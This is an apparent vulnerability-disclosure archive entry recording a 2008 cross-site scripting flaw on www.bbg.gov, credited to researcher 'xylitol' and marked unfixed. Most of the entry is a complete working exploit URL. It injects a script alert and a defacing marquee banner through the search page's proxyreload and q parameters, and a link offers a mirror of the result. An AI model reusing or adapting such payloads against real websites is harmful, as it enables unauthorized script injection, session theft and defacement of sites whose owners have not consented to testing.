Security researcher xylitol, has submitted on 05/10/2008 a cross-site-scripting (XSS) vulnerability affecting www.bbg.gov, which at the time of submission ranked 1179440 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 06/10/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 05/10/2008 |
Date published: 06/10/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: xylitol |
Domain: www.bbg.gov |
Category: XSS |
Pagerank: 1179440 |
|---|
URL: http://www.bbg.gov/bbg_google.cfm?proxyreload='%22%3E%3C/title%3E%3Cscript%3Ealert(1337)%3C/script%3
E%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20Xylitol%3C/h1%3E%3C/marquee%3E1&getfields=*&btnG=Search&access=p
&output=xml_no_dtd&ie=UTF-8&client=default_frontend&oe=UTF-8&site=BBG&num=10&filter=0&sAddvalue=+dat
erange%3A2008-09-05..2008-10-05&scopeType=0&q=Search+BBG%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281
337%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+Xylitol%3C%2Fh1%3E%3C%2F'%22%3E%3C/title%3E%3Csc
ript%3Ealert(1337)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20Xylitol%3C/h1%3E%3C/marquee%3E'%22
%3E%3C/title%3E%3Cscript%3Ealert(1337)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20Xylitol%3C/h1%
3E%3C/marquee%3Emarquee%3E&btnG.x=0&btnG.y=0&btnG=Search |
|
Click here to view the mirror
|
|
|
| 
